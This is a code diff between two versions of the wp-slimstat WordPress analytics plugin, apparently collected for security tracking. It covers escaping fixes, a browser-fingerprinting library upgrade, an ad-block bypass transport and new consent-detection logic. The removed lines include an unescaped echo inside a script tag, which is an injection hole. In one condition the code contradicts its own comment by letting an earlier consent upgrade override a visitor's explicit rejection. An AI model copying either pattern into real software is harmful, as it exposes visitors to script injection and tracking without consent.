\u003C?php selected($chart_args['granularity'], 'daily'); ?>>\u003C?php echo esc_html($translations['daily']); ?>\n             \u003C\u002Foption>\n             \u003Coption value=\"hourly\" \u003C?php echo $disableHourly ? 'disabled' : ''; ?>\n-                \u003C?php selected($args['granularity'], 'hourly'); ?>>\u003C?php echo esc_html($translations['hourly']); ?>\n+                \u003C?php selected($chart_args['granularity'], 'hourly'); ?>>\u003C?php echo esc_html($translations['hourly']); ?>\n             \u003C\u002Foption>\n         \u003C\u002Fselect>\n     \u003C\u002Fdiv>\n-    \u003Cdiv id=\"slimstat_chart_data_\u003C?php echo esc_attr($args['id']); ?>\"\n-        data-args=\"\u003C?php echo esc_attr(json_encode($args)); ?>\"\n-        data-data=\"\u003C?php echo esc_attr(json_encode($data)); ?>\"\n-        data-prev-data=\"\u003C?php echo esc_attr(json_encode($prevData)); ?>\"\n-        data-granularity=\"\u003C?php echo esc_attr($args['granularity']); ?>\"\n-        data-chart-labels=\"\u003C?php echo esc_attr(json_encode($chartLabels)); ?>\"\n-        data-translations=\"\u003C?php echo esc_attr(json_encode($translations)); ?>\"\n-        data-totals=\"\u003C?php echo esc_attr(json_encode($totals ?? [])); ?>\">\n+    \u003Cdiv id=\"slimstat_chart_data_\u003C?php echo esc_attr($chart_args['id']); ?>\"\n+        data-args=\"\u003C?php echo esc_attr(wp_json_encode($chart_args)); ?>\"\n+        data-data=\"\u003C?php echo esc_attr(wp_json_encode($data)); ?>\"\n+        data-prev-data=\"\u003C?php echo esc_attr(wp_json_encode($prevData)); ?>\"\n+        data-granularity=\"\u003C?php echo esc_attr($chart_args['granularity']); ?>\"\n+        data-chart-type=\"\u003C?php echo esc_attr($chart_args['chart_type'] ?? 'line'); ?>\"\n+        data-chart-labels=\"\u003C?php echo esc_attr(wp_json_encode($chartLabels)); ?>\"\n+        data-translations=\"\u003C?php echo esc_attr(wp_json_encode($translations)); ?>\"\n+        data-totals=\"\u003C?php echo esc_attr(wp_json_encode($totals ?? [])); ?>\">\n+    \u003C\u002Fdiv>\n+    \u003Cdiv id=\"slimstat-postbox-custom-legend_\u003C?php echo esc_attr($chart_args['id']); ?>\"\n+        class=\"slimstat-postbox-chart--items\">\n+        \u003C?php if ($is_empty): ?>\n+            \u003C?php\n+            $label_one = $chartLabels[0] ?? __('Search Terms', 'wp-slimstat');\n+            $label_two = $chartLabels[1] ?? __('Unique Terms', 'wp-slimstat');\n+            ?>\n+            \u003Cdiv class=\"slimstat-postbox-chart--item\">\n+                \u003Cspan class=\"slimstat-postbox-chart--item-label\">\u003C?php echo esc_html($label_one); ?>\u003C\u002Fspan>\n+                \u003Cspan class=\"slimstat-postbox-chart--item--color\" style=\"background-color: #e8294c\">\u003C\u002Fspan>\n+                \u003Cspan class=\"slimstat-postbox-chart--item-value\">0\u003C\u002Fspan>\n+            \u003C\u002Fdiv>\n+            \u003Cdiv class=\"slimstat-postbox-chart--item\">\n+                \u003Cspan class=\"slimstat-postbox-chart--item-label\">\u003C?php echo esc_html($label_two); ?>\u003C\u002Fspan>\n+                \u003Cspan class=\"slimstat-postbox-chart--item--color\" style=\"background-color: #2b76f6\">\u003C\u002Fspan>\n+                \u003Cspan class=\"slimstat-postbox-chart--item-value\">0\u003C\u002Fspan>\n+            \u003C\u002Fdiv>\n+        \u003C?php endif; ?>\n     \u003C\u002Fdiv>\n-    \u003Cdiv id=\"slimstat-postbox-custom-legend_\u003C?php echo esc_attr($args['id']); ?>\"\n-        class=\"slimstat-postbox-chart--items\">\u003C\u002Fdiv>\n     \u003Ccanvas\n-        id=\"slimstat_chart_\u003C?php echo esc_attr($args['id']); ?>\"\n+        id=\"slimstat_chart_\u003C?php echo esc_attr($chart_args['id']); ?>\"\n         class=\"slimstat-postbox-chart--canvas\" height=\"240px\">\u003C\u002Fcanvas>\n     \u003C?php if (defined('DOING_AJAX') && DOING_AJAX): ?>\n     \u003Cscript>\n         reinitializeSlimStatCharts(\n-            \"\u003C?php echo $args['id']; ?>\")\n+            \"\u003C?php echo esc_js($chart_args['id']); ?>\")\n     \u003C\u002Fscript>\n     \u003C?php endif; ?>\n-\u003C\u002Fdiv>\n\\ No newline at end of file\n+\u003C\u002Fdiv>\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fviews: reports\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fwp-slimstat.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fwp-slimstat.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fwp-slimstat.js\t2025-09-09 12:32:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fwp-slimstat.js\t2026-03-08 13:29:08.000000000 +0000\n@@ -1,4 +1,4 @@\n-import Fingerprint2 from \"fingerprintjs2\";\n+import FingerprintJS from \"@fingerprintjs\u002Ffingerprintjs\";\n \n \u002F**\n  * SlimStat: Browser tracking helper (refactored for maintainability)\n@@ -132,7 +132,10 @@\n     }\n \n     function getComponentValue(components, key, def) {\n-        for (var i = 0; i \u003C components.length; i++) if (components[i].key === key) return components[i].value;\n+        \u002F\u002F FingerprintJS v4 API - components is now an object with component names as keys\n+        if (components && components[key] && components[key].value !== undefined) {\n+            return components[key].value;\n+        }\n         return def;\n     }\n \n@@ -168,20 +171,54 @@\n     }\n \n     \u002F\u002F -------------------------- Fingerprint -------------------------- \u002F\u002F\n-    function initFingerprintHash(components) {\n+    function initFingerprintHash(result) {\n         try {\n-            var values = components.map(function (c) {\n-                return c.value;\n-            });\n-            fingerprintHash = Fingerprint2.x64hash128(values.join(\"\"), 31);\n+            \u002F\u002F FingerprintJS v4 API - result contains visitorId and components\n+            if (result && result.visitorId) {\n+                fingerprintHash = result.visitorId;\n+                return;\n+            }\n+            \u002F\u002F Graceful fallback\n+            fingerprintHash = \"\";\n         } catch (e) {\n             fingerprintHash = \"\"; \u002F\u002F graceful fallback\n         }\n     }\n \n     function buildSlimStatData(components) {\n-        var screenres = getComponentValue(components, \"screenResolution\", [0, 0]);\n-        return \"&sw=\" + screenres[0] + \"&sh=\" + screenres[1] + \"&bw=\" + window.innerWidth + \"&bh=\" + window.innerHeight + \"&sl=\" + getServerLatency() + \"&pp=\" + getPagePerformance() + \"&fh=\" + fingerprintHash + \"&tz=\" + getComponentValue(components, \"timezoneOffset\", 0);\n+        \u002F\u002F Components are optional; compute directly if not provided\n+        \u002F\u002F FingerprintJS v4 returns components as an object, not an array\n+        var hasComponents = components && typeof components === \"object\" && !Array.isArray(components);\n+\n+        var screenres = [0, 0];\n+        try {\n+            if (hasComponents) {\n+                screenres = getComponentValue(components, \"screenResolution\", [0, 0]);\n+            }\n+            \u002F\u002F Fallback to window.screen if components not available or screenResolution not found\n+            if (!screenres || screenres[0] === 0) {\n+                if (window.screen) {\n+                    screenres = [window.screen.width || 0, window.screen.height || 0];\n+                }\n+            }\n+        } catch (e) {\n+            screenres = [0, 0];\n+        }\n+\n+        var tzOffset = 0;\n+        try {\n+            if (hasComponents) {\n+                tzOffset = getComponentValue(components, \"timezoneOffset\", 0);\n+            }\n+            \u002F\u002F Fallback to Date API if components not available or timezoneOffset not found\n+            if (tzOffset === 0 && !hasComponents) {\n+                tzOffset = new Date().getTimezoneOffset();\n+            }\n+        } catch (e) {\n+            tzOffset = 0;\n+        }\n+\n+        return \"&sw=\" + screenres[0] + \"&sh=\" + screenres[1] + \"&bw=\" + window.innerWidth + \"&bh=\" + window.innerHeight + \"&sl=\" + getServerLatency() + \"&pp=\" + getPagePerformance() + \"&fh=\" + fingerprintHash + \"&tz=\" + tzOffset;\n     }\n \n     \u002F\u002F -------------------------- Transport -------------------------- \u002F\u002F\n@@ -243,7 +280,14 @@\n                     }, delay);\n                 } else {\n                     \u002F\u002F Max attempts reached, move to offline storage\n-                    storeOffline(item.payload);\n+                    SlimStat.store_offline(item.payload);\n+                    if (item.opts && typeof item.opts.onComplete === \"function\") {\n+                        item.opts.onComplete(false);\n+                    }\n+                }\n+            } else {\n+                if (item.opts && typeof item.opts.onComplete === \"function\") {\n+                    item.opts.onComplete(!!success);\n                 }\n             }\n             queueInFlight = false;\n@@ -258,8 +302,9 @@\n         var params = currentSlimStatParams();\n         var payload = item.payload;\n         var useBeacon = item.useBeacon;\n-        var transports = [\"rest\", \"ajax\", \"adblock\"];\n-        var endpoints = { rest: params.ajaxurl_rest, ajax: params.ajaxurl_ajax, adblock: params.ajaxurl_adblock };\n+        var requiresIdResponse = isEmpty(params.id) || isNaN(parseInt(params.id, 10)) || parseInt(params.id, 10) \u003C= 0;\n+        var transports = [\"rest\", \"ajax\", \"adblock_bypass\"];\n+        var endpoints = { rest: params.ajaxurl_rest, ajax: params.ajaxurl_ajax, adblock_bypass: params.ajaxurl_adblock };\n         var selected = params.transport;\n         var order = [selected].concat(\n             transports.filter(function (t) {\n@@ -293,8 +338,22 @@\n                         var parsed = parseInt(xhr.responseText, 10);\n                         if (!isNaN(parsed) && parsed > 0) {\n                             params.id = xhr.responseText; \u002F\u002F store new id\n+                            \u002F\u002F Mark that we've successfully tracked the initial pageview for this load\n+                            try {\n+                                window.slimstatPageviewTracked = true;\n+                            } catch (trackErr) {\n+                                \u002F* ignore *\u002F\n+                            }\n                             flushPendingInteractions(); \u002F\u002F Flush buffered interactions now that we have an ID\n                         }\n+\n+                        \u002F\u002F Initial pageview creation must return a valid pageview ID.\n+                        \u002F\u002F Treat empty\u002Fnon-numeric responses as failures so fallback\u002Fretry can run.\n+                        if (requiresIdResponse && (isNaN(parsed) || parsed \u003C= 0)) {\n+                            if (onFail) onFail();\n+                            return;\n+                        }\n+\n                         callback(true);\n                     } else {\n                         \u002F\u002F Non-200 status is a failure, trigger retry\u002Ffailover\n@@ -457,7 +516,579 @@\n     }\n \n     \u002F\u002F -------------------------- Pageview Logic -------------------------- \u002F\u002F\n-    var FP_EXCLUDES = { excludes: { adBlock: true, addBehavior: true, userAgent: true, canvas: true, webgl: true, colorDepth: true, deviceMemory: true, hardwareConcurrency: true, sessionStorage: true, localStorage: true, indexedDb: true, openDatabase: true, cpuClass: true, plugins: true, webglVendorAndRenderer: true, hasLiedLanguages: true, hasLiedResolution: true, hasLiedOs: true, hasLiedBrowser: true, fonts: true, audio: true } };\n+    \u002F\u002F FP_EXCLUDES retained for backward compatibility, not used by FingerprintJS v4\n+    var FP_EXCLUDES = {};\n+\n+    \u002F\u002F -------------------------- Consent Helpers -------------------------- \u002F\u002F\n+    var lastConsentSnapshot = null;\n+    var CONSENT_UPGRADE_STATE_KEY = \"slimstat_consent_upgrade_state\";\n+    var CONSENT_UPGRADE_TS_KEY = \"slimstat_consent_upgrade_ts\";\n+\n+    function getConsentUpgradeStore(key) {\n+        try {\n+            return sessionStorage.getItem(key) || \"\";\n+        } catch (e) {\n+            return window[key] || \"\";\n+        }\n+    }\n+\n+    function setConsentUpgradeStore(key, value) {\n+        try {\n+            if (value === \"\" || value === null || typeof value === \"undefined\") {\n+                sessionStorage.removeItem(key);\n+            } else {\n+                sessionStorage.setItem(key, value);\n+            }\n+        } catch (e) {\n+            if (value === \"\" || value === null || typeof value === \"undefined\") {\n+                delete window[key];\n+            } else {\n+                window[key] = value;\n+            }\n+        }\n+    }\n+\n+    function markConsentUpgradePending() {\n+        setConsentUpgradeStore(CONSENT_UPGRADE_STATE_KEY, \"pending\");\n+        setConsentUpgradeStore(CONSENT_UPGRADE_TS_KEY, Date.now().toString());\n+    }\n+\n+    function markConsentUpgradeDone(success) {\n+        if (success) {\n+            setConsentUpgradeStore(CONSENT_UPGRADE_STATE_KEY, \"done\");\n+            setConsentUpgradeStore(CONSENT_UPGRADE_TS_KEY, Date.now().toString());\n+        } else {\n+            setConsentUpgradeStore(CONSENT_UPGRADE_STATE_KEY, \"\");\n+            setConsentUpgradeStore(CONSENT_UPGRADE_TS_KEY, \"\");\n+        }\n+    }\n+\n+    function hasConsentUpgradeSucceeded() {\n+        return getConsentUpgradeStore(CONSENT_UPGRADE_STATE_KEY) === \"done\";\n+    }\n+\n+    function claimConsentUpgradeSlot(force) {\n+        if (force === true) {\n+            markConsentUpgradePending();\n+            return true;\n+        }\n+\n+        var state = getConsentUpgradeStore(CONSENT_UPGRADE_STATE_KEY);\n+        if (\"done\" === state) {\n+            return false;\n+        }\n+\n+        if (\"pending\" === state) {\n+            var ts = parseInt(getConsentUpgradeStore(CONSENT_UPGRADE_TS_KEY) || \"0\", 10);\n+            if (Date.now() - ts \u003C 5000) {\n+                return false;\n+            }\n+        }\n+\n+        markConsentUpgradePending();\n+        return true;\n+    }\n+\n+    function requestConsentUpgrade(extraOptions) {\n+        extraOptions = extraOptions || {};\n+        var force = extraOptions.force === true;\n+\n+        if (!claimConsentUpgradeSlot(force)) {\n+            return false;\n+        }\n+\n+        var requestOptions = {\n+            isConsentRetry: true,\n+            consentUpgrade: true,\n+        };\n+\n+        if (extraOptions.consent) {\n+            requestOptions.consent = extraOptions.consent;\n+        }\n+        if (extraOptions.consentNonce) {\n+            requestOptions.consentNonce = extraOptions.consentNonce;\n+        }\n+\n+        SlimStat._send_pageview(requestOptions);\n+        return true;\n+    }\n+\n+    function isFunction(value) {\n+        return typeof value === \"function\";\n+    }\n+\n+    function isObject(value) {\n+        return value !== null && typeof value === \"object\";\n+    }\n+\n+    function getCookieStrict(name) {\n+        if (!name) return null;\n+        try {\n+            var safeName = name.replace(\u002F([.$?*|{}()\\[\\]\\\\\\\u002F\\+^])\u002Fg, \"\\\\$1\");\n+            var pattern = \"(?:^|;)\\\\s*\" + safeName + \"=([^;]*)\";\n+            var match = document.cookie.match(pattern);\n+            return match ? decodeURIComponent(match[1]) : null;\n+        } catch (e) {\n+            return null;\n+        }\n+    }\n+\n+    function detectRealCookieBannerConsent(category) {\n+        try {\n+            \u002F\u002F Latest API (RCB 4.x+): window.rcb() function\n+            if (isFunction(window.rcb)) {\n+                try {\n+                    var rcbConsent = window.rcb(\"consent\", category);\n+                    if (rcbConsent === true || rcbConsent === false) return !!rcbConsent;\n+                    if (isObject(rcbConsent) && \"cookie\" in rcbConsent) return !!rcbConsent.cookie;\n+                    if (isObject(rcbConsent) && \"consent\" in rcbConsent) return !!rcbConsent.consent;\n+                } catch (e) {}\n+            }\n+\n+            \u002F\u002F New API: window.RCB.consent.get()\n+            if (isObject(window.RCB) && isObject(window.RCB.consent) && isFunction(window.RCB.consent.get)) {\n+                var rcbNew = window.RCB.consent.get(category);\n+                if (rcbNew === true || rcbNew === false) return !!rcbNew;\n+                if (isObject(rcbNew) && \"cookie\" in rcbNew) return !!rcbNew.cookie;\n+                if (isObject(rcbNew) && \"consent\" in rcbNew) return !!rcbNew.consent;\n+            }\n+\n+            \u002F\u002F Current API: window.rcbConsentManager.getUserDecision()\n+            if (isObject(window.rcbConsentManager) && isFunction(window.rcbConsentManager.getUserDecision)) {\n+                var decision = window.rcbConsentManager.getUserDecision();\n+                if (decision && decision.decision) {\n+                    if (decision.decision === \"all\") return true;\n+                    if (typeof decision.decision === \"object\") {\n+                        var value = decision.decision[category];\n+                        if (typeof value === \"boolean\") return value;\n+                        if (Array.isArray(value)) return value.length > 0;\n+                    }\n+                }\n+            }\n+\n+            \u002F\u002F Legacy API: window.realCookieBanner.consent.get()\n+            var rcb = window.realCookieBanner || window.RealCookieBanner || null;\n+            if (isObject(rcb) && isObject(rcb.consent) && isFunction(rcb.consent.get)) {\n+                var consent = rcb.consent.get(category);\n+                if (consent === true || consent === false) return !!consent;\n+                if (isObject(consent) && \"cookie\" in consent) return !!consent.cookie;\n+                if (consent) return true;\n+            }\n+\n+            \u002F\u002F Very old API: window.__rcb\n+            var legacy = window.__rcb || window.__RCB || null;\n+            if (isObject(legacy) && legacy.consent) {\n+                var legacyVal = legacy.consent[category];\n+                if (typeof legacyVal === \"boolean\") return legacyVal;\n+                if (Array.isArray(legacyVal)) return legacyVal.length > 0;\n+            }\n+\n+            \u002F\u002F Cookie fallback\n+            var possibleNames = [\"real_cookie_banner\", \"rcb_consent\", \"rcb_acceptance\", \"real_cookie_consent\", \"rcb-consent\"];\n+            for (var i = 0; i \u003C possibleNames.length; i++) {\n+                var raw = getCookieStrict(possibleNames[i]);\n+                if (!raw) {\n+                    continue;\n+                }\n+                try {\n+                    var parsed = JSON.parse(raw);\n+                    if (parsed) {\n+                        if (typeof parsed[category] === \"boolean\") return parsed[category];\n+                        if (typeof parsed.consent === \"boolean\") return parsed.consent;\n+                        if (typeof parsed[category] === \"object\" && parsed[category].cookie !== undefined) return !!parsed[category].cookie;\n+                    }\n+                } catch (err) {\n+                    var normalized = raw.toLowerCase();\n+                    if (raw.indexOf(category) !== -1 || raw === \"1\" || normalized === \"true\" || normalized === \"all\" || normalized === \"accepted\") {\n+                        return true;\n+                    }\n+                }\n+            }\n+        } catch (error) {}\n+        return null;\n+    }\n+\n+    function detectWPConsentAPI(category) {\n+        try {\n+            if (isFunction(window.wp_has_service_consent)) {\n+                try {\n+                    var serviceConsent = window.wp_has_service_consent(category);\n+                    if (serviceConsent) return true;\n+                    if (isFunction(window.wp_is_service_denied) && window.wp_is_service_denied(category)) {\n+                        return false;\n+                    }\n+                } catch (err) {}\n+            }\n+\n+            if (isFunction(window.wp_has_consent)) {\n+                try {\n+                    var hasConsent = window.wp_has_consent(category);\n+                    if (hasConsent) return true;\n+                    return false;\n+                } catch (err2) {}\n+            }\n+\n+            var consentObj = window.wpConsent || window.WPConsent || null;\n+            if (isObject(consentObj) && isFunction(consentObj.get)) {\n+                var value = consentObj.get(category);\n+                if (value === true || value === false) {\n+                    return !!value;\n+                }\n+            }\n+        } catch (err3) {}\n+        return null;\n+    }\n+\n+    function detectSlimStatBanner(consentCookieName, category) {\n+        try {\n+            var cookieName = consentCookieName || \"slimstat_gdpr_consent\";\n+            var value = getCookieStrict(cookieName);\n+            if (!value) {\n+                return null;\n+            }\n+            if (value === \"accepted\") {\n+                return true;\n+            }\n+            if (value === \"denied\") {\n+                return false;\n+            }\n+            try {\n+                var parsed = JSON.parse(value);\n+                if (parsed && parsed[category] !== undefined) {\n+                    return !!parsed[category];\n+                }\n+            } catch (err) {\n+                \u002F* ignore *\u002F\n+            }\n+            return value.length > 0;\n+        } catch (err4) {\n+            return null;\n+        }\n+    }\n+\n+    function normalizeConsent(raw) {\n+        var normalized = {\n+            functional: \"deny\",\n+            statistics: \"deny\",\n+            statistics_anonymous: \"deny\",\n+            marketing: \"deny\",\n+        };\n+\n+        if (typeof raw === \"boolean\") {\n+            normalized.statistics = raw ? \"allow\" : \"deny\";\n+            return normalized;\n+        }\n+\n+        if (typeof raw === \"string\") {\n+            if (raw === \"accepted\" || raw === \"allow\" || raw === \"grant\") {\n+                normalized.statistics = \"allow\";\n+            } else if (raw === \"denied\" || raw === \"deny\" || raw === \"revoke\") {\n+                normalized.statistics = \"deny\";\n+            }\n+            return normalized;\n+        }\n+\n+        if (!isObject(raw) && !Array.isArray(raw)) {\n+            return normalized;\n+        }\n+\n+        var data = raw;\n+        if (Array.isArray(raw)) {\n+            data = { allowed: raw };\n+        }\n+\n+        if (Array.isArray(data.allowed)) {\n+            for (var i = 0; i \u003C data.allowed.length; i++) {\n+                var category = data.allowed[i];\n+                if (normalized.hasOwnProperty(category)) {\n+                    normalized[category] = \"allow\";\n+                }\n+            }\n+            return normalized;\n+        }\n+\n+        if (Array.isArray(data.denied)) {\n+            for (var j = 0; j \u003C data.denied.length; j++) {\n+                var deniedCategory = data.denied[j];\n+                if (normalized.hasOwnProperty(deniedCategory)) {\n+                    normalized[deniedCategory] = \"deny\";\n+                }\n+            }\n+        }\n+\n+        var categories = [\"functional\", \"statistics\", \"statistics_anonymous\", \"marketing\"];\n+        for (var k = 0; k \u003C categories.length; k++) {\n+            var cat = categories[k];\n+            if (data[cat] !== undefined) {\n+                if (typeof data[cat] === \"boolean\") {\n+                    normalized[cat] = data[cat] ? \"allow\" : \"deny\";\n+                } else if (typeof data[cat] === \"string\") {\n+                    normalized[cat] = [\"allow\", \"accepted\", \"grant\", \"true\"].indexOf(data[cat]) !== -1 ? \"allow\" : \"deny\";\n+                }\n+            } else if (data.groups && data.groups[cat] !== undefined) {\n+                var groupValue = data.groups[cat];\n+                if (typeof groupValue === \"boolean\") {\n+                    normalized[cat] = groupValue ? \"allow\" : \"deny\";\n+                } else if (typeof groupValue === \"string\") {\n+                    normalized[cat] = [\"allow\", \"accepted\", \"grant\", \"true\"].indexOf(groupValue) !== -1 ? \"allow\" : \"deny\";\n+                }\n+            } else if (data.decision !== undefined) {\n+                if (data.decision === \"all\") {\n+                    normalized[cat] = \"allow\";\n+                } else if (isObject(data.decision) && data.decision[cat] !== undefined) {\n+                    var decisionValue = data.decision[cat];\n+                    if (typeof decisionValue === \"boolean\") {\n+                        normalized[cat] = decisionValue ? \"allow\" : \"deny\";\n+                    } else if (typeof decisionValue === \"string\") {\n+                        normalized[cat] = [\"allow\", \"accepted\", \"grant\", \"true\"].indexOf(decisionValue) !== -1 ? \"allow\" : \"deny\";\n+                    }\n+                }\n+            }\n+        }\n+\n+        return normalized;\n+    }\n+\n+    function sendConsentChangeToServer(source, parsedConsent, pageviewId) {\n+        try {\n+            var params = currentSlimStatParams();\n+            var nonce = params.wp_rest_nonce || \"\";\n+            var restUrl = \"\";\n+\n+            \u002F\u002F Try to get REST URL from params first\n+            if (params.resturl) {\n+                restUrl = params.resturl;\n+            } else if (typeof window.wpApiSettings !== \"undefined\" && window.wpApiSettings.root) {\n+                restUrl = window.wpApiSettings.root;\n+            } else {\n+                \u002F\u002F Fallback: construct REST URL from current site URL\n+                var siteUrl = window.location.origin;\n+                if (params.baseurl && params.baseurl !== \"\u002F\") {\n+                    var basePath = params.baseurl.replace(\u002F\\\u002F$\u002F, \"\");\n+                    restUrl = siteUrl + basePath + \"\u002Fwp-json\u002F\";\n+                } else {\n+                    restUrl = siteUrl + \"\u002Fwp-json\u002F\";\n+                }\n+            }\n+\n+            \u002F\u002F Ensure restUrl ends with \u002F\n+            if (restUrl && restUrl.charAt(restUrl.length - 1) !== \"\u002F\") {\n+                restUrl += \"\u002F\";\n+            }\n+\n+            var endpoint = restUrl + \"slimstat\u002Fv1\u002Fconsent-change\";\n+            var payload = {\n+                source: source,\n+                parsed: parsedConsent,\n+                ts: Date.now(),\n+                mode: {\n+                    gdprEnabled: params.gdpr_enabled !== \"off\",\n+                    anonymousTrackingEnabled: params.anonymous_tracking === \"on\",\n+                },\n+                nonce: nonce,\n+            };\n+\n+            if (pageviewId) {\n+                payload.pageview_id = String(pageviewId);\n+            }\n+\n+            if (typeof window.fetch === \"function\") {\n+                fetch(endpoint, {\n+                    method: \"POST\",\n+                    headers: {\n+                        \"Content-Type\": \"application\u002Fjson\",\n+                        \"X-WP-Nonce\": nonce,\n+                    },\n+                    credentials: \"same-origin\",\n+                    body: JSON.stringify(payload),\n+                })\n+                    .then(function (response) {\n+                        if (!response.ok) {\n+                            return;\n+                        }\n+                        return response.json();\n+                    })\n+                    .catch(function () {});\n+            } else {\n+                var xhr = new XMLHttpRequest();\n+                xhr.open(\"POST\", endpoint, true);\n+                xhr.setRequestHeader(\"Content-Type\", \"application\u002Fjson\");\n+                xhr.setRequestHeader(\"X-WP-Nonce\", nonce);\n+                xhr.onload = function () {\n+                    if (xhr.status >= 200 && xhr.status \u003C 300) {\n+                        try {\n+                            var responseData = JSON.parse(xhr.responseText);\n+                        } catch (parseError) {\n+                            \u002F* ignore *\u002F\n+                        }\n+                    }\n+                };\n+                xhr.onerror = function () {};\n+                xhr.send(JSON.stringify(payload));\n+            }\n+        } catch (error) {}\n+    }\n+\n+    function emitConsentEvent(detail) {\n+        if (!detail) {\n+            return;\n+        }\n+        try {\n+            var event = new CustomEvent(\"slimstat:consent:updated\", { detail: detail });\n+            document.dispatchEvent(event);\n+        } catch (err) {\n+            try {\n+                var fallback = document.createEvent(\"CustomEvent\");\n+                fallback.initCustomEvent(\"slimstat:consent:updated\", true, true, detail);\n+                document.dispatchEvent(fallback);\n+            } catch (compatError) {\n+                \u002F* ignore *\u002F\n+            }\n+        }\n+    }\n+\n+    function maybeEmitConsentChange(detail) {\n+        if (!detail) {\n+            return;\n+        }\n+        var snapshot = detail.allowed + \"|\" + detail.mode + \"|\" + detail.reason;\n+        if (snapshot !== lastConsentSnapshot) {\n+            lastConsentSnapshot = snapshot;\n+            \u002F\u002F Only emit consent event if it's a meaningful change (not just initial check)\n+            \u002F\u002F This prevents duplicate pageview requests during initial load\n+            var params = currentSlimStatParams();\n+            var hasPageviewId = params.id && parseInt(params.id, 10) > 0;\n+\n+            \u002F\u002F If we have a pageview ID, emit the event (consent changed after tracking)\n+            \u002F\u002F If we don't have an ID yet, the initial pageview will handle consent, so skip event\n+            if (hasPageviewId) {\n+                emitConsentEvent(detail);\n+            }\n+        }\n+    }\n+\n+    function slimstatConsentAllowed(params, options) {\n+        options = options || {};\n+        var s = params || {};\n+        var gdprEnabled = s.gdpr_enabled !== \"off\";\n+        var anonMode = s.anonymous_tracking === \"on\";\n+        var setCookie = s.set_tracker_cookie === \"on\";\n+        var anonymizeIP = s.anonymize_ip === \"on\";\n+        var hashIP = s.hash_ip === \"on\";\n+        var integrationKey = s.consent_integration || \"\";\n+        var consentLevel = s.consent_level_integration || \"statistics\";\n+\n+        \u002F* debug logging removed *\u002F\n+\n+        try {\n+            var dntEnabled = s.respect_dnt === \"on\";\n+            if (dntEnabled && typeof navigator !== \"undefined\" && (navigator.doNotTrack === \"1\" || navigator.doNotTrack === \"yes\")) {\n+                var blocked = { allowed: false, mode: \"blocked\", reason: \"dnt\" };\n+                maybeEmitConsentChange(blocked);\n+                return blocked;\n+            }\n+        } catch (err) {\n+            \u002F* ignore *\u002F\n+        }\n+\n+        \u002F\u002F GDPR disabled: do not gate tracking behind CMP\u002Fconsent checks.\n+        \u002F\u002F Keep anonymous mode behavior if explicitly enabled by admin settings.\n+        if (!gdprEnabled) {\n+            if (anonMode) {\n+                var gdprOffAnon = { allowed: true, mode: \"anonymous\", reason: \"gdpr_disabled_anonymous_mode\" };\n+                maybeEmitConsentChange(gdprOffAnon);\n+                return gdprOffAnon;\n+            }\n+            var gdprOff = { allowed: true, mode: \"full\", reason: \"gdpr_disabled\" };\n+            maybeEmitConsentChange(gdprOff);\n+            return gdprOff;\n+        }\n+\n+        var collectsPII = !!(setCookie || (!anonymizeIP && !hashIP));\n+        var requiresCmpCheck = collectsPII || anonMode;\n+        var cmpAllows = null;\n+\n+        if (requiresCmpCheck) {\n+            if (integrationKey === \"wp_consent_api\" || integrationKey === \"wpconsent\" || integrationKey === \"wp_consent\" || integrationKey === \"\") {\n+                var jsConsent = detectWPConsentAPI(consentLevel);\n+                if (jsConsent !== null) {\n+                    cmpAllows = jsConsent;\n+                }\n+                if (cmpAllows === null && s.server_side_consent !== undefined) {\n+                    cmpAllows = !!s.server_side_consent;\n+                }\n+                if (integrationKey === \"\" && cmpAllows === null) {\n+                    cmpAllows = true;\n+                }\n+            }\n+\n+            if (cmpAllows === null && (integrationKey === \"real_cookie_banner\" || integrationKey === \"rcb\" || integrationKey === \"realcookie\")) {\n+                var rcbConsent = detectRealCookieBannerConsent(consentLevel);\n+                if (rcbConsent !== null) {\n+                    cmpAllows = rcbConsent;\n+                } else {\n+                    if (options.isConsentRetry) {\n+                        var fallback = detectWPConsentAPI(consentLevel);\n+                        if (fallback !== null) {\n+                            cmpAllows = fallback;\n+                        }\n+                    }\n+                }\n+            }\n+\n+            if (cmpAllows === null && (integrationKey === \"slimstat_banner\" || integrationKey === \"slimstat\")) {\n+                var cookieName = s.gdpr_cookie_name || \"slimstat_gdpr_consent\";\n+                var bannerConsent = detectSlimStatBanner(cookieName, consentLevel);\n+                if (bannerConsent !== null) {\n+                    cmpAllows = bannerConsent;\n+                }\n+            }\n+\n+            if (cmpAllows === null) {\n+                if (anonMode) {\n+                    cmpAllows = true;\n+                } else if (collectsPII && integrationKey && integrationKey !== \"\") {\n+                    cmpAllows = false;\n+                } else {\n+                    cmpAllows = true;\n+                }\n+            } else {\n+            }\n+\n+            \u002F\u002F Only use previous consent upgrade if current consent is unknown (null)\n+            \u002F\u002F Do NOT override an explicit rejection (false) with a previous consent\n+            if (cmpAllows !== true && hasConsentUpgradeSucceeded()) {\n+                cmpAllows = true;\n+            }\n+        }\n+\n+        if (anonMode) {\n+            var cmpGranted = cmpAllows === true;\n+            var anonDecision = {\n+                allowed: true,\n+                mode: cmpGranted ? \"full\" : \"anonymous\",\n+                reason: cmpGranted ? \"anonymous_mode_consented\" : \"anonymous_mode\",\n+            };\n+            maybeEmitConsentChange(anonDecision);\n+            return anonDecision;\n+        }\n+\n+        if (!collectsPII) {\n+            var noPii = { allowed: true, mode: \"full\", reason: \"no_pii\" };\n+            maybeEmitConsentChange(noPii);\n+            return noPii;\n+        }\n+\n+        if (cmpAllows === false) {\n+            var denied = { allowed: false, mode: \"blocked\", reason: \"cmp_denied\" };\n+            maybeEmitConsentChange(denied);\n+            return denied;\n+        }\n+\n+        var allowedResult = { allowed: true, mode: \"full\", reason: \"cmp_allowed\" };\n+        maybeEmitConsentChange(allowedResult);\n+        return allowedResult;\n+    }\n \n     function buildPageviewBase(params) {\n         if (!isEmpty(params.id) && parseInt(params.id, 10) > 0) return \"action=slimtrack&id=\" + params.id;\n@@ -469,15 +1100,57 @@\n     